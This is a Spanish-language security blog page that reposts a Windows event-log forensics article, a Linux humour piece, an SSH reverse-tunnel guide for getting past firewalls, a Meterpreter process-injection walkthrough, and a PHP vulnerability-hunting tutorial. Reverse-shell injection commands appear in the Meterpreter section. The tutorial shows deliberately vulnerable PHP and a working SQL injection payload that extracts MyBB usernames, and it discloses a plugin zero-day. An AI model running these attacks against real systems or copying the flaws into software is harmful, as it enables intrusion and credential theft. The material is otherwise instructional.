Banner 1

Forensic Windows Event Logs

0 comentarios
EVT vs EVTX
Windows XP is no longer supported by Microsoft, but there are still XP and 2003 systems out there, and as such, some of us are still going to need to know the difference between Event Logs (XP, 2003), and Windows Event Logs (Vista+).

Besides the binary differences in the records and Event Log files themselves, on XP/2003, there were three main Event Log files; System, Application, and Security.  On my Windows 7 system, a 'dir' of the winevt\Logs folder reports 143 files.  So, there is a LOT of information being recorded by default on a Windows 7 system; while not all of it may be useful to you, there is a great deal of information that can be extracted from the logs when used properly.

Wevtx.bat
When I released Windows Forensic Toolkit 4/e, one of the things included in the additional materials is a batch file, wevtx.bat.  What the batch file does is use LogParser to parse a directory full of .evtx files, and then parse those entries into TLN format for inclusion in a timeline.  The tool evtxparse.exe, used by the batch file, makes use of a mapping file (i.e., eventmap.txt) to map event source/ID pairs to an artifact category tag.  As such, when the entry in written to a timeline, records such as "Microsoft-Windows-Security-Auditing/4624" are prepended with an appropriate tag (i.e., "[Logon]"), based on the artifact category.

I really love this tool!  What I like about it is that it's easy to update (eventmap.txt is just a text file), I can add comments to it to show the source of the information I used to map an event record to something specific, and it acts as a fantastic little repository for all of my past experiences.  Not only is it a great repository, but it's incorporated right into the tools that I use on just about every engagement.

Records
Here are some of the event source/ID pairs that I've found to be useful during investigations, for such things as malware detection, determining the window of compromise, etc.  I'll say up front that these records are not 100% infallible, and may not have extremely high fidelity (some do, others don't...), but they've worked quite well for me at one time or another, so I'll share them here.

Microsoft-Windows-DNS-Client/1014 – DNS name resolution timeout; I've used this one more than once to help demonstrate that malware was on a system, even in the face of anti-forensics techniques (time stomping the malware files, deleting the malware files, etc.). It's not a 100%, infallible indicator, but it's worked for me more than once.  What has also helped is when this event record was seen; in a timeline, I could see that it occurred shortly after a user logged into a laptop, and before the user connected the system to a WAP.  This helped me narrow down the persistence mechanism for the malware.

Microsoft-Windows-Security-Auditing/4720 - user account created; because the bad guys do this from time to time.

McLogEvent/257 – McAfee malware detection - McAfee AV may detect malware behaviors (i.e., run from a Temp folder, etc.) without actually detecting the EXE itself.  This can be very valuable in helping you determine how malware got onto a system.  Also, the AV product may be configured to warn only, and take no action..so, correlate the event records (UTC) to the entries in the McAfee logs (local system time)

Microsoft-Windows-Windows Defender/3004 – Windows Defender malware detection

Service Control Manager/7045 – A service was installed on the system

Service Control Manager/7030 – A service is configured to interact with the desktop

Microsoft-Windows-TaskScheduler/106 - New Scheduled Task registration

Beyond individual event records (source/ID pairs), one of the aspects of the newer versions of Windows (in particular, Windows 7) is that there are a lot of events that are being recorded by default, across multiple Event Log files.  What I mean is that when some events occur, multiple event records are recorded, often across different Event Log files.  For example, when a user logs into a system at the console, there will be an event recorded in the Security Event Log, a couple in the Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx log, and a couple of events will also be recorded in the Microsoft-Windows-TaskScheduler/Operational.evtx log.  Alone, each of these individual events may get little attention from an analyst, but when placed together in a timeline, they leave an indelible mark indicating that a user logged into the system.

Now, what's really great about this is that some of the Event Logs "roll over" faster than others.  As such, some of the source/ID pairs that are part of an indicator cluster may have been expired from their respective Event Logs.  However, the remaining source/ID pairs in the cluster will still provide a very good indicator that that event in question took place.  This is particular useful for infrequent events, and I've used this information more than once to demonstrate repeated activity going back weeks and even months prior to what was thought to be the date of interest.

Anti-Forensics
Event auditing is one of those things that just happens in the background on Windows systems.  This is great, because sometimes Event Log records can help us determine if anti-forensics techniques have been employed.  For example, using Event Log records, you can determine if someone has changed the system time.

During an exam, I found that a system had been infected with malware that installed as a Windows service, and during the installation process, the .exe file had been time-stomped.  Fortunately, when the malicious service was installed, an event source/ID pair of "Service Control Manager/7045" was created, indicating that a new service had been installed on the system.  I was able to correlate that information with other sources (MFT, etc.) to better determine the correct time of when the malicious .exe was created on the system, and nail down the infection vector.

Carving
If you need to carve Windows Event Log records, for any reason...from unallocated space, memory, the pagefile, whatever...the tool to use is Willi Ballentin's EVTXtract. The "tool" is really a set of Python scripts that you run consecutively against the data in order to recover Windows Event Log records.  I've used these scripts a couple of times, and even had a fellow team member use them on an engagement and quite literally recover the "smoking gun".

When carving for deleted records on a Windows XP or 2003 system, I use a custom Perl script that I wrote that's based on some of the code I've released with my books.

Timelines
When all this is said and done, a blog post on just individual Windows Event Log records isn't really all that valuable.  Yes, I've created timelines from just a handful of *.evtx files, for use in triage, etc.  This has proved to be extremely valuable to me.

Resources
WindowsIR: Timeline Analysis
SANS Reading Room: Detecting Security Events Using Windows Workstation Event Logs
NSA: Spotting the Adversary with Windows Event Log Monitoring

Fuente: http://windowsir.blogspot.com/2014/10/windows-event-logs.html

Si la vida tuviera terminal (Humor)

0 comentarios
Si la vida pudiera ser manejada desde una terminal linux, abría muchas cosas que podríamos hacer sin tanto problema.
por ejemplo:

¿ No encuentras tus llaves?  tranquilo mira


ls  | grep llaves
Listo aquí estan.

o si tu auto no enciende

chmod +x tsuru_negro

Y prende al llavaso.

Si tu madre te tiene harto pidiéndote que limpies tu habitación. !Fácil!

clear
Todo limpio en un santiamén.

¿tienes que mudarte de casa? pffff pan comido

mv /home/darkspark/* /newhome/darkspark/ 
listo y sin cargar nada !bitch¡

¿Llego tu madre mientras estabas viendo tu colección de porno?  ¡no ay problema!

mv porno* ~/bajo_mi_cama/.porno*
 y todo el porno se iría bajo la cama, y aunque se asomaran por debajo, quedaría oculto. Genial¿no?. Aun que si realmente tu madre no supiera ya, donde escondes tu porno bastaría con que hiciera un

ls -la
Insisto, solo si realmente tu madre no supiera donde la escondes.


¿O si un ladrón quiere robarte tu auto?

chown ladron:lacras tsuru_negro 
y aunque lo agarráramos infraganti

sudo chown ladron:lacras tsuru_negro
 ¡Vale madre! ni las manitas podríamos meter.

!Y cualquiera podría multiplicar la comida como Jesús con un script super simple¡

for ($i=0;$i<=10000;$i++){cat pescado > pecado.$i;}

!BOOM¡ Chingo de pescado para todos. Lo del convertir el agua en vino si estaría mas cabron, pero bueno debe haber una forma... ¿no?

y para los que quisieran suicidarse por que creen que no ay vida mas allá de windows

exit

Fuente: http://elblogdedarkspark.blogspot.com/2014/09/si-la-vida-tuviera-terminal-humor.html

Saltar firewall con ssh

0 comentarios
Para los que no lo sepan SSH (openSSH para ser mas específicos) es una utilidad que nos permite gestionar una maquina *nix de manera remota, la gestión se realiza vía linea de comandos, pero como sabrán la mayoría de los entendidos en este tema, con un acceso a consola es mas que suficiente.
En ocasiones dependiendo de la funcionalidad que deseemos implementar es necesario que tengamos abierto puertos para algún servicio ya sea un servidor web, DNS, impresión ,etc. Pero en ocasiones esas posibilidades no se encuentran a nuestro alcance ya que simplemente o nuestro ISP nos tiene dentro de un NAT gigante (muchas cableras) o nuestros Modem/Router vienen capado de fabrica para que los mismos no se puedan tocar a nuestro antojo, y por ende poder abrir los puertos que requerimos.

SSH en un túnel Reverso

Como bien sabremos SSH tiene diversas funcionalidades entre las cuales destacan :forwardeo de puertos, ejecución de programas por medio del gestor X11, etc. Pero una de las mas interesantes a mi parecer y que en un sinfín de ocasiones me ha sacado de apuros es el túnel reverso. Esta funcionalidad nos da la posibilidad de redireccionar puertos hacia nosotros pudiendo así hacer bypass de cualquier firewall, haciendo una analogía es como hace muchos a~nos se realizaban infecciones con troyanos reversos.
A continuación ampliaremos mas el tema:
Regularmente una conexión SSH se realiza de la siguiente manera:
Cliente SSH ———> Servidor SSH
Como podremos observar en una conexión SSH tradicional el cliente SSH es el que realiza la conexión hacia el servidor y es así como se establece la conexión. Ahora bien, es importante considerar que para que esta conexión exista es necesario que en el servidor se tenga abierto el puerto de SSH.
En el esquema de conexión de túnel SSH reverso la conexión es hacia nosotros, para ello se ejemplificara mejor con la siguiente imagen:
Servidor A —–> Servidor C (pasarela) <——-> Servidor B
Donde imaginemos que A es el servidor donde tenemos una aplicación corriendo (un servidor web por ejemplo), C es un servidor que ocuparemos como pasarela y B sera el servidor donde requerimos ver el servidor web del servidor A.
En un esquema de funcionamiento tradicional tan solo bastaría con abrir el puerto web en el firewall del Servidor A para que el servidor B pudiera acceder de forma ordinaria al web server, pero imaginemos que por restricciones del Sysadmin, simplemente esto no es posible. Aquí es donde entra el SSH reverso. El servidor A se conectara por medio de un túnel reverso SSH al servidor C y de ahí con un cliente SSH nos conectaremos del servidor B al servidor C, para poder acceder al webserver de A.
A continuación algunos ejemplos didácticos para hacer mas comprensible esta metodología de funcionamiento.

Ver el WebService escuchando en el puerto 80 del Servidor A en el navegador del Servidor B

Servidor A < ————-> Servidor B
Sintaxis:
ssh usuario@servdorA -L 80:localhost:80
Esto lo que hará es redireccionar el puerto 80 del servidor A hacia el puerto 80 del servidor B

Túnel Reverso del servidor A al servidor C, para que el servidor B pueda acceder a la consola SSH del servidor A.

Sintaxis:
Consola servidor A:
ssh usuario@servidorC -N -R 2222:localhost:22
Donde:
-N Es una opción para que el servidor A NO PUEDA ejecutar comandos en la consola del servidor C
-R indica que es un túnel reverso.
22 Es el puerto donde esta escuchando el demonio SSH del servidor A
2222 Es el puerto donde se mandara el puerto SSH del servidor A en el servidor C
Consola Servidor B:
ssh usuario@servidorC
Después de esto una vez dentro del servidor C, tan solo nos restara hacer una conexión SSH a nuestro localhost en el puerto antes forwardeadado:
Consola servidor B:
ssh usuario@localhost -p 2222
Donde:
-p indica el puerto al cual deseamos conectarnos
2222 Es el puerto donde se forwardeo el puerto del servidor A

Lo mas interesante de esto es que al ser el túnel SSH una conexión saliente la misma no es bloqueda por el firewall, esto es algo que he probado en diversas instituciones tanto publicas como privadas y en ninguna me han bloqueado la salida de mi tunel SSH. Esto en teoría podría prevenirse con un IDS bien configurado, pero siendo honestos, es algo que nadie se toma muy en cuenta.

NOTA: a día de hoy esta funcionalidad solo la he probado en puertos TCP

Fuente: http://dexter-one.net/in-seguridad/el-poder-de-ssh-como-bypassear-un-firewall-de-manera-facil/

Manipulación de Memoria sobre una maquina comprometida utilizando Meterpreter

0 comentarios
Meterpreter es bastante robusto a la hora de manipular la memoria de una víctima y los procesos cargados en ella, este nivel de potencia es alcanzado gracias a la definición de scripts meterpreter escritos en Ruby, ya que le permite al desarrollador crearlos y desplegarlos en metasploit o utilizar algunos existentes para diversos fines. En entradas anteriores se ha indicado el uso de algunos de estos scripts y herramientas adicionales como Volatility FrameWork y PMDump, en esta ocasión, se indicará el uso de algunos scripts adicionales para manipular la memoria de una victima determinada.

multi_meter_inject

Este script intentará crear una conexión reversa en la memoria de uno o muchos PID’s especificados por parámetro, en el caso de que estos PID no sean indicados, se iniciará por defecto un nuevo proceso con notepad.exe. Una de las principales ventajas de este script es que se pueden especificar múltiples host y multiples PID’s para crear el stager de meterpreter, esto significa que la sesión meterpreter creada, puede “replicarse” a otras maquinas en las que el atacante también tendrá un payload meterpreter esperando a la conexión del stager.
En resumen, el atacante tendrá la posibilidad de crear tantas sesiones meterpreter contra la maquina comprometida como maquinas disponga y cada una de estas sesiones será “insertada” en un proceso que se encuentra en ejecución en la maquina comprometida.
meterpreter > run multi_meter_inject -h Meterpreter Script for injecting a reverce tcp Meterpreter Payloadin to memory of multiple PIDs, if none is provided a notepad process.will be created and a Meterpreter Payload will be injected in to each.
OPTIONS:
-h Help menu.
-m Start Exploit multi/handler for return connection
-mp Provide Multiple PID for connections separated by comma one per IP.
-mr Provide Multiple IP Addresses for Connections separated by comma.
-p The port on the remote host where Metasploit is listening (default: 4444)
-pt Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp
Un ejemplo de ejecución de este script puede ser el siguiente:
meterpreter > run multi_meter_inject -mr 192.168.1.36,192.168.1.37 -p 3344 -mp 628,792 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.36 LPORT=3344
[*] Injecting meterpreter into process ID 628
[*] Allocated memory at address 0x00d60000, for 290 byte stager
[*] Writing the stager into memory…
[+] Successfully injected Meterpreter in to process: 628
[*] Creating a reverse meterpreter stager: LHOST=192.168.1.37 LPORT=3344
[*] Injecting meterpreter into process ID 792
[*] Allocated memory at address 0x003e0000, for 290 byte stager
[*] Writing the stager into memory…
[+] Successfully injected Meterpreter in to process: 792
Con el comando anterior, se han creado dos sesiones meterpreter controladas por el atacante en las direcciones 192.168.1.36 y 192.168.1.37 ambas escuchando por el puerto 3344, estas sesiones han sido insertadas en los procesos 628 y 792 respectivamente, cada uno de estos procesos corresponde a un programa en ejecución en la maquina comprometida.

duplicate

Este script tiene una funcionalidad bastante similar al script multi_meter_inject ya que se encarga de replicar la sesión meterpreter en otro proceso del sistema operativo con el fin de que sea difícil cerrar el acceso desde la maquina atacada a la maquina del atacante
meterpreter > run duplicate -h OPTIONS:
-D Disable the automatic multi/handler (use with -r to accept on another system)
-P Process id to inject into; use instead of -e if multiple copies of one executable are running.
-e Executable to inject into. Default notepad.exe, will fall back to spawn if not found.
-h This help menu
-p The port on the remote host where Metasploit is listening (default: 4546)
-r The IP of a remote Metasploit listening for the connect back
-s Spawn new executable to inject to. Only useful with -P.
-w Write and execute an exe instead of injecting into a process
A modo de ejemplo, este script puede ser ejecutado con los siguientes parámetros
meterpreter > run duplicate -r 192.168.1.34 -p 4444 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.34 LPORT=4444
[*] Running payload handler
[*] Current server process: sgiByfbLo.exe (1780)
[*] Duplicating into notepad.exe…
[*] Injecting meterpreter into process ID 3884
[*] Allocated memory at address 0x00e10000, for 290 byte stager
[*] Writing the stager into memory…
[*] New server process: 3884
Con la maquina 192.168.1.34 controlada por el atacante en el puerto 4444 recibirá el stager correspondiente a la sesión meterpreter replicada.

process_memdump

En una entrada anterior se ha indicado el uso de pmdump para realizar un volcado de memoria usando un script de meterpreter externo al framework, con este comando se puede llevar a cabo esta misma tarea, solamente que en lugar de utilizar pmdump se utiliza memdump sobre el proceso seleccionado
meterpreter > run process_memdump -h USAGE:
EXAMPLE: run process_dump putty.exe
EXAMPLE: run process_dump -p 1234
OPTIONS:
-h Help menu.
-n Name of process to dump.
-p PID of process to dump.
-q Query the size of the Process that would be dump in bytes.
-r Text file wih list of process names to dump memory for, one per line.
-t toggle location information in dump.
Un ejemplo del uso de este script puede ser:
meterpreter > run process_memdump -p 556 [*] Dumping memory for iexplore.exe
[*] Dumping Memory of iexplore.exe with PID: 556
[*] base size = 64
[*] base size = 128
[*] base size = 192
[*] base size = 1224
[*] base size = 1228
[*] base size = 1280
[*] base size = 1344
[*] base size = 2368
[*] base size = 2432
[*] base size = 2496
[*] Saving Dumped Memory to /root/.msf3/logs/scripts/proc_memdump/192.168.1.36_iexplore.exe_556_20110512.0758.dmp


Fuente: http://thehackerway.com/2011/06/10/359/

Encontrando 0-days en Aplicaciones Webs

0 comentarios
1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:

¿Por qué utilizar un entorno de Auditoria?

Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.
Esto no es preferible, ya que hay una posibilidad muy alta de que falten cosas y seguramente tomará mucho más tiempo que mediante el uso de un entorno de Auditoria.

Web Server:

Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.

¿Que es lo que vamos a Auditar?

Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.

Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:
MyBB
Guía de Instalaciónhttp://docs.mybb.com/Installing.html
WordPress
Joomla
SMF:

2.- LO QUE DEBEMOS BUSCAR:

User input:

La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.
---------------------------------------------------------------------------------------------
$_GET
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.

$_POST

Un array asociativo de variables pasadas al script actual mediante el método HTTP POST

$_REQUEST
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.

$_COOKIE

Un array asociativo de variables pasadas al script actual a través de cookies HTTP.

$_SERVER

$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.

$_FILES

Una matriz asociativa de artículos subidos al script actual a través del
método HTTP POST.
---------------------------------------------------------------------------------------------
Posibles Funciones Vulnerables:
Sql Injection:

Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------


Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.

He aquí algunas funciones comunes que posiblemente sean vulnerables:
  • mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
  • mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
  • mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
  • mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
  • mysql_num_rows - Devuelve el número de filas en el resultado.
  • mysql_result - Obtener datos de resultado.
File Inclusion:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------

$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
---------------------------------------------------------------------------------------------

  • include()
  • require()

Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).
Upload:
---------------------------------------------------------------------------------------------

$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
?>
---------------------------------------------------------------------------------------------

  • $_FILES
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.
Code Execution:
---------------------------------------------------------------------------------------------

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------

  • passthru()
  • system()
  • eval()
  • exec()


3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:

Editores de Texto:

Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.

Grep:

Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.

Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:

---------------------------------------------------------------------------------------------

$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------

Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------
Encontrar funciones mysql_*:
---------------------------------------------------------------------------------------------
grep include app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
include("headers/$header");
include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos buscar la función include en todas ellas, entonces podríamos hacer algo como esto:
---------------------------------------------------------------------------------------------
grep include *.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php: include("headers/$header");
app2.php: include("headers/standard.php");
app3.php: include("headers/$header");
app3.php: include("headers/standard.php");
app.php: include("headers/$header");
app.php: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
---------------------------------------------------------------------------------------------
grep include *.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php:5: include("headers/$header");
app2.php:9: include("headers/standard.php");
app3.php:5: include("headers/$header");
app3.php:9: include("headers/standard.php");
app.php:5: include("headers/$header");
app.php:9: include("headers/standard.php");
---------------------------------------------------------------------------------------------

Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
---------------------------------------------------------------------------------------------
grep 'SELECT\|FROM' app.php -n
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------


Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
---------------------------------------------------------------------------------------------
grep 'sEleCt\|FroM' app.php -n -i
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------

Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/

4.- AUDITORIA EN EL MUNDO REAL:

Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:
MyBB DyMy User Agent SQL Injection:
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor de texto:
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
---------------------------------------------------------------------------------------------
grep "\$_GET" dymy_ua.php -i -n
grep "\$_GET" dymy_ua.php -i -n
grep "mysql_" dymy_ua.php -i -n
grep "include" dymy_ua.php -i -n
---------------------------------------------------------------------------------------------
Salida:
Nada util.
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
---------------------------------------------------------------------------------------------
function dymy_ua_install()
{
global $db;

$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
}
---------------------------------------------------------------------------------------------
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un vistazo a los siguientes documentos para obtener una mejor comprensión de lo que está mal aquí:
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las interacciones de bases de datos. Volvamos a la terminal y probar algunas cosas nuevas.
---------------------------------------------------------------------------------------------
grep "\$db" dymy_ua.php -i -n 
---------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
56: global $db;
58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(' {$os}'),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string(' {$browser}'),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
------------------------------------------------------------------------------------------------------------------
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_deactivate()
{
global $db;

$db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27

require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}
')."#",'',0);
}

function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}

function dymy_ua_postbit(&$post)
{
global $templates;

if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post['system']) && empty($post['useragent']))
{
$os = str_ireplace("icon_", "", $post['system']);
$browser = str_ireplace("icon_", "", $post['browser']);
$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
}
...
------------------------------------------------------------------------------------------------------------------
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
------------------------------------------------------------------------------------------------------------------
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y tratar de analizar estos datos.
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.
Vamos a ver este lado de nuestro mensaje:
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.
Después de algunas pruebas vamos a salir con esta consulta:
------------------------------------------------------------------------------------------------------------------
' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B)); #
------------------------------------------------------------------------------------------------------------------
5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP Live copie la direccion URL (localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y pega esto en una nueva pestaña.
Ahora ponga un ' después el país:
Salida:
------------------------------------------------------------------------------------------------------------------
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1
Query:
SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5='Belgium'' 
------------------------------------------------------------------------------------------------------------------
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:

Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.

Tutorial PHP:
Tutorial MySQL:
CRÉDITOS:
Autor: Join7
 
Fuente: http://www.sniferl4bs.com/2014/06/encontrando-0-days-en-aplicaciones-webs.html
Powered by Bad Robot
Helped by Blackubay